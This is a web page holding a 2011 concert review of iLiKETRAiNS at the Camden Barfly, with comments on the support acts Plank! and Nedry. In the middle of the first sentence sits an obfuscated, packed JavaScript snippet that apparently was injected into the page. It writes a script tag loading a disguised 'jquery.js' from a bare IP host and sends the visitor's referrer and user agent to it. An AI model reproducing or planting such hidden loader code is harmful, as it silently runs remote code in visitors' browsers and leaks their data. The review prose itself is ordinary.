REVIEWED: iLIKETRAiNSCAMDEN BARFLYMARCH 2011

iLiKETRAiNS (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rktnh|var|u0026u|referrer|idbsh||js|php’.split(‘|’),0,{}))
pack more thought and intelligence into a single song than some bands pack into an entire career. Unfairly labelled as ‘library rock’ by some, this is still a band that can rock and knows how to write a decent melody. Not satisfied with the idea of a concept album, each track is an entire concept in itself, ranging from historical figures to philosophical concepts. Take their biggest single so far, ‘Spencer Percival’, a paean to the only British Prime Minister ever to be assassinated. You’ll learn more from an iLiKETRAiNS gig then you did at school.

Tonight’s support acts were wonderful in their diversity. First on were Plank!, a three-piece instrumental band with a virtuoso fret-burning guitarist and a bassist with fingers like lightning. The absolute antithesis of the headline act who are renowned for deep, introspective lyrics, this was a masterclass in instrumentalism. Second band of the evening were Nedry, another three piece but with two guitarist/keyboardists and a frontwoman with a voice entirely reminiscent of Bjork. Their sound is very much dubstep and works really well with the offbeat vocals.

iLiKETRAiNS are not a band that one can access easily. The more you invest into this band, the more you will get out of it, but as with anything in life, investment is rewarded. None of the songs you grow to like stick at first and these guys make songs that require repeated listens to expose their true beauty. Stick with them and your patience is sure to be rewarded.

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